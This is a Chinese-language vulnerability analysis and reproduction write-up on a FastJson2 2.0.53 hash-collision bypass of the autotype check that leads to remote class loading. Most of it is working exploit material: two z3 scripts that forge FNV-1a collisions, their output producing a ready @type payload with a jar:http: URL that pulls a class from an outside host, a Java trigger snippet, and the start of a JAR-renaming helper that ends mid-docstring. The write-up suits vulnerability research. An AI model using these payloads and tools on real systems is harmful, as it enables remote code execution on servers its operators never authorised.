Files
Penetration_Testing_POC/books/FastJson2 Hash 碰撞 RCE 分析与复现.md

46 KiB
Raw Permalink Blame History

FastJson2 Hash 碰撞 RCE 分析与复现

来源:https://xz.aliyun.com/news/92608

前置说明

参考: https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA, 来跟进一下漏洞原理.

测试使用的依赖:

<dependencies>
    <!-- fastjson2 核心 -->
    <dependency>
        <groupId>com.alibaba.fastjson2</groupId>
        <artifactId>fastjson2</artifactId>
        <version>2.0.53</version>
    </dependency>
</dependencies>

默认场景

总结一下 FastJson2 下的 autotype 如何使用, 首先是指明第二个参数为一个 JavaBean 的场景, 传参不使用 autotype:

// ────────────────────────────────────────────────────────────
// 1. 基础反序列化: 把 JSON 字符串解析成 Java 对象
// ────────────────────────────────────────────────────────────
String json = "{\"name\":\"admin\",\"age\":28,\"email\":\"admin@lab.local\"}";
User user = JSON.parseObject(json, User.class);
System.out.println("[1] 基础反序列化:");
System.out.println("    输入: " + json);
System.out.println("    输出: " + user);
System.out.println();

// ────────────────────────────────────────────────────────────
// 2. 基础序列化: 把 Java 对象转回 JSON 字符串
// ────────────────────────────────────────────────────────────
String reJson = JSON.toJSONString(user);
System.out.println("[2] 基础序列化:");
System.out.println("    输入: " + user);
System.out.println("    输出: " + reJson);
System.out.println();

/*
[1] 基础反序列化:
    输入: {"name":"admin","age":28,"email":"admin@lab.local"}
    输出: User{name='admin', age=28, email='admin@lab.local'}

[2] 基础序列化:
    输入: User{name='admin', age=28, email='admin@lab.local'}
    输出: {"age":28,"email":"admin@lab.local","name":"admin"}
*/

当然如果使用带 @type 的场景, 如下:

String jsonWithType = "{\"@type\":\"com.heihu577.model.User\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}";

// 不指定目标类,解析成 JSONObject
Object obj = JSON.parse(jsonWithType);
System.out.println("[3] 带 @type 的 JSON, 不开启 SupportAutoType:");
System.out.println("    输入: " + jsonWithType);
System.out.println("    解析结果类型: " + obj.getClass().getName());
System.out.println("    解析结果: " + obj);
if (obj instanceof JSONObject) {
    JSONObject jo = (JSONObject) obj;
    System.out.println("    @type 字段值: " + jo.getString("@type"));
    System.out.println("    ↑ @type 被当作普通字段保留了,没有触发类加载");
}
System.out.println();
/*
[3] 带 @type 的 JSON, 不开启 SupportAutoType:
    输入: {"@type":"com.heihu577.model.User","name":"alice","age":25,"email":"alice@lab.local"}
    解析结果类型: com.alibaba.fastjson2.JSONObject
    解析结果: {"@type":"com.heihu577.model.User","name":"alice","age":25,"email":"alice@lab.local"}
    @type 字段值: com.heihu577.model.User
    ↑ @type 被当作普通字段保留了,没有触发类加载
*/

默认会反序列化成com.alibaba.fastjson2.JSONObject类对象, 除非第二个参数指明为一个 JavaBean:

User u2 = JSON.parseObject(jsonWithType, User.class);
System.out.println("[4] 带 @type 的 JSON, 指定目标类 User.class (不开 SupportAutoType):");
System.out.println("    输入: " + jsonWithType);
System.out.println("    输出: " + u2);
System.out.println("    ↑ 反序列化成功,但 @type 字段被忽略 (User 没有 @type 属性)");
System.out.println();

/*
[4] 带 @type 的 JSON, 指定目标类 User.class (不开 SupportAutoType):
    输入: {"@type":"com.heihu577.model.User","name":"alice","age":25,"email":"alice@lab.local"}
    输出: User{name='alice', age=25, email='alice@lab.local'}
*/

解析流程

根据当前解析结果来看, fastjson2 是能够正常解析@type字段的, 只不过若不指明第二个参数则会先被转化为JSONObject, 对原有的 JSON 对 User 类打上断点查看一番:

95c4a05c-be99-4587-af3b-91e6a68decfd.png

那么必然与 fastjson 1.x 的处理逻辑相同, 通过字节码编辑技术在内存中定义了字节码信息, 这里有两种思路定位到字节码文件:

●通过 arthas 将该类的字节码导出

●找到更深层次 ASM 操作部分, 将字节码写入到硬盘进行反编译

通过思路 2, 最终调用栈如下:

at com.alibaba.fastjson2.reader.ObjectReaderCreatorASM.jitObjectReader(ObjectReaderCreatorASM.java:594)
at com.alibaba.fastjson2.reader.ObjectReaderCreatorASM.createObjectReader(ObjectReaderCreatorASM.java:327)
at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReaderInternal(ObjectReaderProvider.java:845)
at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReader(ObjectReaderProvider.java:763)
at com.alibaba.fastjson2.JSON.parseObject(JSON.java:858)
at com.heihu577.demo.Demo01Basic.run(Demo01Basic.java:29)
at com.heihu577.demo.Demo01Basic.main(Demo01Basic.java:17)

导出一波:

1bf88f69-0121-464c-987d-ac4ebed50e17.png

最终我们可以看到字节码信息:

efbdf9ee-7776-4885-9e48-8bfeee4516b8.png

这里说明一下实验时失败的尝试(ASM 输出并没有携带行号信息导致无法 Debug), 首先将导出出来的字节码符合包名结构, 保存到 jar 中:

dafa3b01-f783-402b-b46e-59f496e6d299.png

随后增加 classpath, 并且将其置顶:

42b9238b-cd2c-4ca7-8db5-bc1388b5887c.png

但是由于该字节码由 ASM 生成, 导致不存在行号信息, 可以安装: https://github.com/Col-E/Recaf/releases/tag/4.0.0-alpha 中的recaf-launcher-gui-0.8.8.jar来进行修复行号, 需要注意的是首次运行需要要求安装依赖库(javaFX 等), 使用 proxychains4 运行该 jar 进行安装可加快速度. 但在实际场景中发现反编译存在错误信息:

e4282e04-04bf-4e50-b5ec-1bfc3076e8bd.png

正常会调用该字节码的 readObject 方法, 并且整个 ASM 中不存在反射的逻辑:

1b1518ab-74f4-4a26-a11b-8f90ef443d86.png

但部分方法会调用 checkAutoType:

4f43bffc-7b9e-4a38-a899-4f6fb0955563.png

RCE 场景

参考: https://mp.weixin.qq.com/s/4jl2kv_JRSDUAUZyc1jw5A, 官网的 commit 记录中存在对 payload 的测试记录:

b5b3ca4b-df8e-45db-9908-075fbdefd7ec.png

可以看到期望类定义为了 Object, Debug 看一下:

package com.heihu577.demo;

import com.alibaba.fastjson2.JSON;

public class Demo {
    public static void main(String[] args) {
        String jsonWithType = "{\"@type\":\"com.heihu577.model.User\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}";

        // 指明类型为 Object.class
        Object obj = JSON.parseObject(jsonWithType, Object.class);
        System.out.println(obj);
    }
}

调用栈为:

at com.alibaba.fastjson2.reader.ObjectReaderProvider.checkAutoType(ObjectReaderProvider.java:554)
at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReader(ObjectReaderProvider.java:530)
at com.alibaba.fastjson2.JSONReader$Context.getObjectReaderAutoType(JSONReader.java:4194)
at com.alibaba.fastjson2.reader.ObjectReaderImplObject.readObject(ObjectReaderImplObject.java:119)
at com.alibaba.fastjson2.JSON.parseObject(JSON.java:864)
at com.heihu577.demo.Demo.main(Demo.java:10)

可以看到这里并不是主动生成的 ASM, 当期望类指明为Object时而是系统提供的ObjectReaderImplObject类, 由provider.getObjectReader选择而来:

abc56426-51dd-4907-b865-168673fe89e4.png

在ObjectReaderImplObject::readObject反序列化流程中会判断是否开启了 checkAutoType:

8b01895c-b5bd-4d02-b94f-279eafb5b1f6.png

随后经过调用栈:

at com.alibaba.fastjson2.reader.ObjectReaderProvider.checkAutoType(ObjectReaderProvider.java:554)
at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReader(ObjectReaderProvider.java:530)
at com.alibaba.fastjson2.JSONReader$Context.getObjectReaderAutoType(JSONReader.java:4194)
at com.alibaba.fastjson2.reader.ObjectReaderImplObject.readObject(ObjectReaderImplObject.java:119)
at com.alibaba.fastjson2.JSON.parseObject(JSON.java:864)
at com.heihu577.demo.Demo.main(Demo.java:10)

可以看到能够正常走到checkAutoType方法中, 该方法中如果发现开启了 SafeMode 则直接 null(漏洞缓解措施, 默认不开启):

5e0aa420-973a-4fa2-8376-eb7af088ca56.png

而后面的逻辑存在一个黑白名单校验的缺陷:

bb1087af-b01f-4919-a6c2-ffa74baa294c.png

即使没有开启 autotype 功能, 同样会进入 hash 比较的逻辑, 那么如果这里的 hash 能够被暴力破解或其他手段猜测出来(由于这里 Hash 值的判断是根据结果进行判断,而过程中不同的字符参与异或|乘法运算是会存在冲突的结果的), 那么则会进入 loadClass 逻辑:

1f220816-5521-45e6-8bf6-cd2c6f22b688.png

又是一段经典的 ClassLoader::loadClass, 与fastjson 1.2.83中的原理相同. 若该 ClassLoader 为 SpringBoot 的 URLClassLoader 即可进行远程类加载.

hash 解密 & payload 调试

参考: https://zhuanlan.zhihu.com/p/30548907 & https://ctf-wiki.org/reverse/tools/constraint/z3/ & https://www.freebuf.com/articles/web/232002.html

由于 FNV 算法使用了^= & *=进行做位运算, 所以能列成方程组来解表达式:

#!/usr/bin/env python3
"""
FNV-1a 64 位哈希碰撞求解器 (z3)

对标 fastjson2 2.0.53 Fnv.hashCode64 的实现:
  - 长字符串 (>8 字符) 或含字符 >255: 走 FNV-1a
  - FNV-1a: hash = (hash ^ ch) * prime
  - offset = 0xcbf29ce484222325
  - prime  = 0x100000001b3

用法:
  python3 fnv_collision.py <目标hash> [字符数] [最小字符] [最大字符]

参数:
  目标hash    : 十进制 (可负) 或 0x 开头的十六进制
  字符数      : 默认 5
  最小字符    : 默认 256 (确保 >255, 触发 FNV-1a)
  最大字符    : 默认 65535 (Java char 上限)

示例:
  python3 fnv_collision.py 0xd5ef36df67371111
  python3 fnv_collision.py -6293031534589903644
  python3 fnv_collision.py 15415600382649766161 5 256 65535

依赖:
  pip3 install z3-solver
"""
import sys
from z3 import *

# FNV-1a 64 位常量
OFFSET = 0xcbf29ce484222325
PRIME = 0x100000001b3


def parse_hash(s):
    """解析 hash 参数: 支持十进制 (可负) 和十六进制 (0x开头)"""
    s = s.strip()
    if s.lower().startswith('0x'):
        v = int(s, 16)
        # 转成有符号 long (Java long 是有符号 64 位)
        if v >= 2**63:
            v -= 2**64
        return v
    return int(s)


def to_unsigned(v):
    """有符号 long -> 无符号"""
    return v & 0xFFFFFFFFFFFFFFFF


def fnv1a_hash(s):
    """计算 FNV-1a hash (跟 fastjson2 2.0.53 长字符串分支一致)"""
    h = OFFSET
    for ch in s:
        h ^= ord(ch)
        h = (h * PRIME) & 0xFFFFFFFFFFFFFFFF
    return h


def solve(target_hash, num_chars=5, min_char=256, max_char=65535):
    """
    用 z3 求 N 字符碰撞

    target_hash: 目标 hash (有符号 long)
    num_chars:   字符数
    min_char:    字符最小值 (256 确保触发 FNV-1a)
    max_char:    字符最大值 (65535 = Java char 上限)
    """
    target_unsigned = to_unsigned(target_hash)

    # 创建 num_chars 个 64 位 BitVec 变量
    c = [BitVec(f'c{i}', 64) for i in range(num_chars)]

    # FNV-1a 计算
    h = BitVecVal(OFFSET, 64)
    for i in range(num_chars):
        h = (h ^ c[i]) * BitVecVal(PRIME, 64)

    # 求解器
    s = Solver()
    s.add(h == BitVecVal(target_unsigned, 64))

    # 字符范围约束
    for i in range(num_chars):
        s.add(c[i] >= min_char)
        s.add(c[i] <= max_char)
        # ★ 排除 UTF-16 代理对范围 (0xD800-0xDFFF)
        # 这些码点专用于 UTF-16 编码,不能作为独立字符
        # Python chr() 能产生但 print 时 UTF-8 不允许
        s.add(Or(c[i] < 0xD800, c[i] > 0xDFFF))

    # 如果字符范围包含 <=255 且 num_chars <=8, 需要至少一个 >255 强制走 FNV-1a
    if min_char <= 255 and num_chars <= 8:
        s.add(Or([c[i] > 255 for i in range(num_chars)]))

    # 求解
    result = s.check()
    if result == sat:
        m = s.model()
        return [m[c[i]].as_long() for i in range(num_chars)]
    return None


def main():
    if len(sys.argv) < 2:
        print(__doc__)
        sys.exit(1)

    # 解析参数
    target_hash = parse_hash(sys.argv[1])
    num_chars = int(sys.argv[2]) if len(sys.argv) > 2 else 5
    min_char = int(sys.argv[3]) if len(sys.argv) > 3 else 256
    max_char = int(sys.argv[4]) if len(sys.argv) > 4 else 65535

    print("═" * 64)
    print("  FNV-1a 64 位哈希碰撞求解器 (z3)")
    print("═" * 64)
    print()
    print(f"  目标 hash (有符号): {target_hash}")
    print(f"  目标 hash (无符号): {to_unsigned(target_hash)}")
    print(f"  目标 hash (十六进制): 0x{to_unsigned(target_hash):016x}")
    print()
    print(f"  字符数: {num_chars}")
    print(f"  字符范围: [{min_char}, {max_char}]")
    if min_char <= 255:
        print(f"  ⚠ 范围含 <=255, 会强制至少一个字符 >255 (走 FNV-1a)")
    print()

    # 求解
    print("  求解中...")
    import time
    start = time.time()
    result = solve(target_hash, num_chars, min_char, max_char)
    elapsed = time.time() - start

    if result is None:
        print(f"  ✗ 未找到解 (unsat), 耗时 {elapsed:.2f}s")
        print()
        print("  可能原因:")
        print("    1. 输入空间太小 (字符数 × 位宽 < 64)")
        print("    2. z3 求解超时 (尝试减少字符数)")
        print("    3. 真的无解 (极少见)")
        return

    print(f"  ✓ 找到解! 耗时 {elapsed:.2f}s")
    print()

    # 构造碰撞字符串
    collision_str = ''.join(chr(c) for c in result)

    # 验证
    actual_hash = fnv1a_hash(collision_str)

    print("─" * 64)
    print("  碰撞结果")
    print("─" * 64)
    print()
    print(f"  原始目标 hash:   0x{to_unsigned(target_hash):016x}")
    print(f"  碰撞字符串 hash: 0x{to_unsigned(actual_hash):016x}")
    print(f"  匹配: {'✓' if to_unsigned(actual_hash) == to_unsigned(target_hash) else '✗'}")
    print()
    print(f"  Code Points: {result}")
    print(f"  十六进制:    [{', '.join(f'0x{c:04x}' for c in result)}]")
    print(f"  Unicode 转义: {''.join(f'\\u{c:04x}' for c in result)}")
    # 安全打印: 避免代理对/控制字符导致 UnicodeEncodeError
    safe_str = collision_str.encode('utf-8', errors='backslashreplace').decode('utf-8')
    print(f"  字符串:      \"{safe_str}\"")
    print()
    print("─" * 64)
    print("  使用提示")
    print("─" * 64)
    print()
    print("  1. Java 中使用 (用 Unicode 转义):")
    print(f'     String s = "{"".join(f"\\u{c:04x}" for c in result)}";')
    print(f"     long hash = com.alibaba.fastjson2.util.Fnv.hashCode64(s);")
    print()
    print("  2. 这个字符串的 FNV-1a hash 等于目标 hash")
    print("  3. 每个字符 > 255, 确保走 FNV-1a 分支 (非短字符串优化)")
    print()
    print("═" * 64)


if __name__ == '__main__':
    main()

对应方程组:

已知:
  OFFSET = 0xcbf29ce484222325
  PRIME = 0x100000001b3
  target = -6293031534589903644

方程假设是 5 位数:
  let h0 = OFFSET
  let h1 = (h0 ^ c0) * PRIME
  let h2 = (h1 ^ c1) * PRIME
  let h3 = (h2 ^ c2) * PRIME
  let h4 = (h3 ^ c3) * PRIME
  let h5 = (h4 ^ c4) * PRIME
  h5 == target

解方程核心代码块:

7ee9230b-8788-4f71-bae3-bcc95a1bb6ec.png

最终对应 fastjson 场景解密 -6293031534589903644 效果:

f65e13db-a03e-4de9-aa02-6e08e9b84338.png

通过解方程的形式成功达到 Hash 碰撞的效果, 那么在此基础之上我们只需要将我们在 fastjson 1.2.83 中的 payload 作为前缀即可. 以任意字符为前缀的话, 对于 fastjson 的计算来说仅仅是起点不同了:

de3f01f7-7cd5-4b8b-a33c-1d3d9e56a3a9.png

因为它是依次按照^= & *=做位运算的, 丝毫不影响我们制作 payload, 定制 Python 脚本:

#!/usr/bin/env python3
"""
FNV-1a 64 位哈希碰撞求解器 (z3) - 支持自定义前缀

对标 fastjson2 2.0.53 Fnv.hashCode64 的实现:
  - 长字符串 (>8 字符) 或含字符 >255: 走 FNV-1a
  - FNV-1a: hash = (hash ^ ch) * prime
  - offset = 0xcbf29ce484222325
  - prime  = 0x100000001b3

★ 前缀支持 (--prefix):
  指定已知前缀字符串, 该前缀先参与 FNV-1a 计算, 改变起始 hash,
  然后再求解 N 个未知字符使最终 hash 等于目标.
  对应 Java 语义: Fnv.hashCode64(prefix + unknown) == targetHash

用法:
  python3 fnv_collision.py <目标hash> [字符数] [最小字符] [最大字符] [--prefix PREFIX]

参数:
  目标hash    : 十进制 (可负) 或 0x 开头的十六进制
  字符数      : 默认 5 (未知字符数, 不含 prefix)
  最小字符    : 默认 256 (确保 >255, 触发 FNV-1a)
  最大字符    : 默认 65535 (Java char 上限)
  --prefix    : 已知前缀字符串 (先参与 FNV-1a, 再求未知字符)

示例:
  python3 fnv_collision.py 0xd5ef36df67371111
  python3 fnv_collision.py -6293031534589903644
  python3 fnv_collision.py 0xd5ef36df67371111 5 256 65535 --prefix abc
  python3 fnv_collision.py 0xd5ef36df67371111 3 --prefix 'java.lang.String'

依赖:
  pip3 install z3-solver
"""
import sys
import argparse
import time
from z3 import *

# FNV-1a 64 位常量
OFFSET = 0xcbf29ce484222325
PRIME = 0x100000001b3


def parse_hash(s):
    """解析 hash 参数: 支持十进制 (可负) 和十六进制 (0x开头)"""
    s = s.strip()
    if s.lower().startswith('0x'):
        v = int(s, 16)
        # 转成有符号 long (Java long 是有符号 64 位)
        if v >= 2**63:
            v -= 2**64
        return v
    return int(s)


def to_unsigned(v):
    """有符号 long -> 无符号"""
    return v & 0xFFFFFFFFFFFFFFFF


def to_java_chars(s):
    """
    将 Python 字符串转成 Java char (UTF-16 code unit) 序列.

    Java 的 String.charAt(i) 返回 16 位 char, FNV-1a 实际是对
    UTF-16 code unit 迭代, 不是对 Unicode codepoint 迭代.
    - BMP 字符 (0x0000-0xFFFF): code unit == codepoint, 两者等价
    - 非 BMP 字符 (如 emoji 0x1F600): Java 迭代代理对 [0xD83D, 0xDE00],
      Python 的 ord() 返回整个 codepoint. 本函数确保与 Java 行为一致.
    """
    b = s.encode('utf-16-be')
    return [int.from_bytes(b[i:i+2], 'big') for i in range(0, len(b), 2)]


def fnv1a_hash(s):
    """计算 FNV-1a hash (跟 fastjson2 2.0.53 长字符串分支一致)"""
    h = OFFSET
    for ch in to_java_chars(s):
        h ^= ch
        h = (h * PRIME) & 0xFFFFFFFFFFFFFFFF
    return h


def fnv1a_prefix_state(prefix):
    """
    计算 prefix 参与 FNV-1a 后的起始 hash 状态.

    返回 (h_start, prefix_chars, prefix_has_high_char):
      h_start              : prefix 跑完 FNV-1a 后的 hash (作为未知字符的起点)
      prefix_chars         : prefix 的 Java char 序列
      prefix_has_high_char : prefix 是否含 >255 的 char (影响 FNV-1a 触发判断)
    """
    chars = to_java_chars(prefix)
    h = OFFSET
    for ch in chars:
        h ^= ch
        h = (h * PRIME) & 0xFFFFFFFFFFFFFFFF
    has_high = any(ch > 255 for ch in chars)
    return h, chars, has_high


def solve(target_hash, num_chars=5, min_char=256, max_char=65535, prefix=''):
    """
    用 z3 求 N 字符碰撞 (支持已知前缀)

    target_hash: 目标 hash (有符号 long)
    num_chars:   未知字符数 (不含 prefix)
    min_char:    字符最小值 (256 确保触发 FNV-1a)
    max_char:    字符最大值 (65535 = Java char 上限)
    prefix:      已知前缀字符串, 先参与 FNV-1a 计算, 改变起始 hash

    求解等式: FNV1a_continue(FNV1a(prefix), unknown_chars) == target_hash
    """
    target_unsigned = to_unsigned(target_hash)

    # ★ 关键: 先把 prefix 跑一遍 FNV-1a, 得到起始 hash
    # prefix 是已知常量, 这一步用纯 Python 算出具体数值, 不需要 z3 变量
    h_start, prefix_chars, prefix_has_high = fnv1a_prefix_state(prefix)

    # 创建 num_chars 个 64 位 BitVec 变量 (只对未知字符建变量)
    c = [BitVec(f'c{i}', 64) for i in range(num_chars)]

    # FNV-1a 计算 (从 prefix 处理后的 h_start 继续)
    h = BitVecVal(h_start, 64)
    for i in range(num_chars):
        h = (h ^ c[i]) * BitVecVal(PRIME, 64)

    # 求解器
    s = Solver()
    s.add(h == BitVecVal(target_unsigned, 64))

    # 字符范围约束
    for i in range(num_chars):
        s.add(c[i] >= min_char)
        s.add(c[i] <= max_char)
        # ★ 排除 UTF-16 代理对范围 (0xD800-0xDFFF)
        # 这些码点专用于 UTF-16 编码,不能作为独立字符
        # Python chr() 能产生但 print 时 UTF-8 不允许
        s.add(Or(c[i] < 0xD800, c[i] > 0xDFFF))

    # FNV-1a 触发条件检查 (考虑 prefix)
    # fastjson2: 字符串长度 > 8 或任一 char > 255 -> 走 FNV-1a
    prefix_java_len = len(prefix_chars)
    total_len = prefix_java_len + num_chars

    # 只有当总长度 <=8 且 prefix 没有高字符 且 字符范围含 <=255 时,
    # 才需要强制至少一个未知字符 >255 (确保走 FNV-1a 而非短字符串优化)
    if min_char <= 255 and total_len <= 8 and not prefix_has_high:
        s.add(Or([c[i] > 255 for i in range(num_chars)]))

    # 求解
    result = s.check()
    if result == sat:
        m = s.model()
        return [m[c[i]].as_long() for i in range(num_chars)]
    return None


def main():
    parser = argparse.ArgumentParser(
        description='FNV-1a 64 位哈希碰撞求解器 (z3) - 支持自定义前缀',
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument('target_hash', type=str,
                        help='目标 hash (十进制可负 / 0x十六进制)')
    parser.add_argument('num_chars', type=int, nargs='?', default=5,
                        help='未知字符数 (默认 5, 不含 prefix)')
    parser.add_argument('min_char', type=int, nargs='?', default=256,
                        help='字符最小值 (默认 256)')
    parser.add_argument('max_char', type=int, nargs='?', default=65535,
                        help='字符最大值 (默认 65535)')
    parser.add_argument('--prefix', type=str, default='',
                        help='已知前缀字符串, 先参与 FNV-1a 再求解未知字符')
    args = parser.parse_args()

    target_hash = parse_hash(args.target_hash)
    num_chars = args.num_chars
    min_char = args.min_char
    max_char = args.max_char
    prefix = args.prefix

    # 预计算 prefix 状态 (用于显示)
    h_start, prefix_chars, prefix_has_high = fnv1a_prefix_state(prefix)
    prefix_java_len = len(prefix_chars)
    total_len = prefix_java_len + num_chars

    print("═" * 64)
    print("  FNV-1a 64 位哈希碰撞求解器 (z3)")
    print("═" * 64)
    print()
    print(f"  目标 hash (有符号): {target_hash}")
    print(f"  目标 hash (无符号): {to_unsigned(target_hash)}")
    print(f"  目标 hash (十六进制): 0x{to_unsigned(target_hash):016x}")
    print()
    print(f"  未知字符数: {num_chars}")
    print(f"  字符范围: [{min_char}, {max_char}]")
    if prefix:
        prefix_display = prefix.encode('utf-8', errors='backslashreplace').decode('utf-8')
        print(f"  已知前缀: \"{prefix_display}\"")
        print(f"  前缀长度: {prefix_java_len} Java char(s)")
        print(f"  前缀含 >255 字符: {'是' if prefix_has_high else '否'}")
        print(f"  前缀处理后起始 hash: 0x{h_start:016x}")
        print(f"  (原始 OFFSET:       0x{OFFSET:016x})")
    print(f"  总字符串长度: {total_len} Java char(s)")
    if min_char <= 255 and total_len <= 8 and not prefix_has_high:
        print(f"  ⚠ 总长度 <=8 且范围含 <=255, 会强制至少一个未知字符 >255 (走 FNV-1a)")
    print()

    # 求解
    print("  求解中...")
    start = time.time()
    result = solve(target_hash, num_chars, min_char, max_char, prefix)
    elapsed = time.time() - start

    if result is None:
        print(f"  ✗ 未找到解 (unsat), 耗时 {elapsed:.2f}s")
        print()
        print("  可能原因:")
        print("    1. 输入空间太小 (字符数 × 位宽 < 64)")
        print("    2. z3 求解超时 (尝试减少字符数)")
        print("    3. 真的无解 (极少见)")
        return

    print(f"  ✓ 找到解! 耗时 {elapsed:.2f}s")
    print()

    # 构造碰撞字符串 (只有未知部分)
    collision_str = ''.join(chr(c) for c in result)
    # 完整字符串 = prefix + 未知部分
    full_str = prefix + collision_str

    # 验证: 完整字符串的 FNV-1a hash 应该等于目标
    actual_hash = fnv1a_hash(full_str)

    print("─" * 64)
    print("  碰撞结果")
    print("─" * 64)
    print()
    print(f"  原始目标 hash:   0x{to_unsigned(target_hash):016x}")
    print(f"  完整字符串 hash: 0x{to_unsigned(actual_hash):016x}")
    print(f"  匹配: {'✓' if to_unsigned(actual_hash) == to_unsigned(target_hash) else '✗'}")
    print()
    if prefix:
        prefix_display = prefix.encode('utf-8', errors='backslashreplace').decode('utf-8')
        print(f"  已知前缀:     \"{prefix_display}\"")
    print(f"  未知部分 Code Points: {result}")
    print(f"  未知部分 十六进制:    [{', '.join(f'0x{c:04x}' for c in result)}]")
    print(f"  未知部分 Unicode 转义: {''.join(f'\\u{c:04x}' for c in result)}")
    safe_str = collision_str.encode('utf-8', errors='backslashreplace').decode('utf-8')
    print(f"  未知部分字符串:      \"{safe_str}\"")
    print()
    print("─" * 64)
    print("  使用提示")
    print("─" * 64)
    print()
    # Java 形式: prefix 用 Unicode 转义 + 未知部分用 Unicode 转义
    prefix_unicode = ''.join(f'\\u{ch:04x}' for ch in prefix_chars)
    unknown_unicode = ''.join(f'\\u{c:04x}' for c in result)
    if prefix:
        print("  1. Java 中使用 (prefix + 未知部分, 全 Unicode 转义):")
        print(f'     String s = "{prefix_unicode}{unknown_unicode}";')
        print()
        prefix_display = prefix.encode('utf-8', errors='backslashreplace').decode('utf-8')
        print("  2. 或者 prefix 用字面量, 未知部分用 Unicode 转义:")
        print(f'     String s = "{prefix_display}" + "{unknown_unicode}";')
    else:
        print("  1. Java 中使用 (用 Unicode 转义):")
        print(f'     String s = "{unknown_unicode}";')
    print()
    print(f"     long hash = com.alibaba.fastjson2.util.Fnv.hashCode64(s);")
    print()
    print("  3. 这个字符串的 FNV-1a hash 等于目标 hash")
    if min_char > 255:
        print("  4. 每个未知字符 > 255, 确保走 FNV-1a 分支 (非短字符串优化)")
    print()
    print("═" * 64)


if __name__ == '__main__':
    main()

生成远程加载的 payload:

heihu577 @ ~/Desktop  python fnv_collision.py --prefix "jar:http:..2887610369.2333.Hello\!.Hello" -6293031534589903644
════════════════════════════════════════════════════════════════
  FNV-1a 64 位哈希碰撞求解器 (z3)
════════════════════════════════════════════════════════════════

  目标 hash (有符号): -6293031534589903644
  目标 hash (无符号): 12153712539119647972
  目标 hash (十六进制): 0xa8aaa929446ffce4

  未知字符数: 5
  字符范围: [256, 65535]
  已知前缀: "jar:http:..2887610369.2333.Hello!.Hello"
  前缀长度: 39 Java char(s)
  前缀含 >255 字符: 
  前缀处理后起始 hash: 0x3acee6a3e7fcfdce
  (原始 OFFSET:       0xcbf29ce484222325)
  总字符串长度: 44 Java char(s)

  求解中...
   找到解! 耗时 0.19s

────────────────────────────────────────────────────────────────
  碰撞结果
────────────────────────────────────────────────────────────────

  原始目标 hash:   0xa8aaa929446ffce4
  完整字符串 hash: 0xa8aaa929446ffce4
  匹配: 

  已知前缀:     "jar:http:..2887610369.2333.Hello!.Hello"
  未知部分 Code Points: [16676, 4874, 30874, 19441, 64757]
  未知部分 十六进制:    [0x4124, 0x130a, 0x789a, 0x4bf1, 0xfcf5]
  未知部分 Unicode 转义: \u4124\u130a\u789a\u4bf1\ufcf5
  未知部分字符串:      "䄤ጊ碚䯱ﳵ"

────────────────────────────────────────────────────────────────
  使用提示
────────────────────────────────────────────────────────────────

  1. Java 中使用 (prefix + 未知部分,  Unicode 转义):
     String s = "\u006a\u0061\u0072\u003a\u0068\u0074\u0074\u0070\u003a\u002e\u002e\u0032\u0038\u0038\u0037\u0036\u0031\u0030\u0033\u0036\u0039\u002e\u0032\u0033\u0033\u0033\u002e\u0048\u0065\u006c\u006c\u006f\u0021\u002e\u0048\u0065\u006c\u006c\u006f\u4124\u130a\u789a\u4bf1\ufcf5";

  2. 或者 prefix 用字面量, 未知部分用 Unicode 转义:
     String s = "jar:http:..2887610369.2333.Hello!.Hello" + "\u4124\u130a\u789a\u4bf1\ufcf5";

     long hash = com.alibaba.fastjson2.util.Fnv.hashCode64(s);

  3. 这个字符串的 FNV-1a hash 等于目标 hash
  4. 每个未知字符 > 255, 确保走 FNV-1a 分支 (非短字符串优化)

════════════════════════════════════════════════════════════════

该 payload 能成功走向 loadClass 逻辑:

String jsonWithType = "{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}";
// 不指定目标类,解析成 JSONObject
Object obj = JSON.parseObject(jsonWithType, Object.class);
System.out.println(obj);

最终结果:

a7b4dea2-5b46-47c9-be42-46622c245c6a.png

SpringBoot 中测试

在 SpringBoot 中依旧能发送请求, 准备一个 SpringBoot 案例, 准备一个JSON.parseObject(可控,Object.class)可控端点即可.

fnv 计算步骤

另外 Payload 使用 fastjson 1.2.83 的原有 payload 例如:

jar:http:..2887610369:2333.Hello!.Hello

原封不动的将其丢到 fnv 计算器中:

b5d4f583-9b49-47bc-bbd7-b508246c966e.png

生成结果为:

jar:http:..2887610369:2333.Hello!.Hello\ue94c\uc17c\uf770\ua803\uc0d3

驻留 jar 步骤

若想要在目标中驻留该 jar 包, 以维持后续的 fd 利用, 则需要 jar 包中已包含Hello\ue94c\uc17c\uf770\ua803\uc0d3.class这个文件, 但该文件由于文件名称为 Unicode 编码, 使用编程的场景更加方便, 编写新 python 脚本配合 fnv 脚本使用:

#!/usr/bin/env python3
"""
JAR/ZIP 碰撞条目复制工具 - 配合 fnv_collision.py 使用

功能:
  将 JAR 中已有的 class 文件复制一份, 在文件名末尾 (扩展名前) 插入
  fnv_collision.py 求出的 unicode 字符, 形成新的 JAR 条目.

  这样 JNDI jar: URL 加载时, fastjson 校验的类名 FNV hash 命中碰撞值,
  实际加载的却是新条目 (内容与原 class 一致).

用法:
  python3 jar_collision_copy.py <JAR文件> <原class文件名> <unicode转义串>

参数:
  JAR文件         : 要修改的 JAR/ZIP 文件路径
  原 class 文件名 : JAR 中已存在的 class 条目名 (如 Hello.class)
  unicode 转义串  : \\uXXXX 格式字符串 (来自 fnv_collision.py 输出)
                    ★ 请用单引号包裹, 避免 shell 解释 \\u

示例:
  python3 jar_collision_copy.py ./Hello Hello.class '\\ue94c\\uc17c\\uf770\\ua803\\uc0d3'

  # 也可以直接传已解码的 unicode 字符 (双引号在 zsh 下会解码 \\u)
  python3 jar_collision_copy.py ./Hello Hello.class "셼ꠃ샓"

工作流程:
  1. 读取 JAR, 找到原 class 条目, 缓存其内容
  2. 解析 unicode 转义串 (\\uXXXX -> 实际字符)
  3. 构造新条目名: <原文件名去扩展名> + <解码字符> + <扩展名>
     例: Hello.class + \\ue94c... -> Hello\\ue94c... uc17c... .class
